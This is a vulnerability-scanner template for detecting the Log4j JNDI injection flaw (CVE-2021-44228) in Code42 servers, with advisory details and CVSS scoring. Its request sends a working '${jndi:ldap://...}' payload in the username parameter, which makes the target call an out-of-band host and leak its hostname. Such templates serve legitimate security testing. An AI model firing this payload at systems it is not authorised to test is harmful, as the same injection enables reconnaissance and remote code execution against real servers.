id: code42-log4j-rce

info:
  name: Apache Code42 -  Remote Code Execution (Apache Log4j)
  author: Adam Crosser
  severity: critical
  description: |
    Multiple Code42 components are impacted by the logj4 vulnerability. Affected Code42 components include:
    - Code42 cloud: Updated Log4j from 2.15.0 to 2.17.1 on January 26, 2022
    - Code42 app for Incydr Basic and Advanced and CrashPlan Cloud product plans: Updated Log4j from 2.16.0 to 2.17.1 on January 18, 2022
    - Code42 User Directory Sync (UDS): Updated Log4j from 2.15.0 to 2.17.1 on February 2, 2022
    - On-premises Code42 server: Mitigated from Log4j vulnerabilities by following these steps
    - On-premises Code42 app: Updated to Log4j 2.16 on December 17, 2021
  reference:
    - https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: cve,cve2021,jndi,log4j,rce,oast,code42,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - method: GET
    path:
      - '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&url=https://localhost'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request

# digest: 490a00463044022057f58fb326fd41f2ba448ad56475806fec61bbad1a9b3f8d55af985bab85af900220238cdddcfece8857fb823c2dbaf1e47c371c77421b4213352e9ed1e5b920f41e:922c64590222798bb761d5b6d8e72950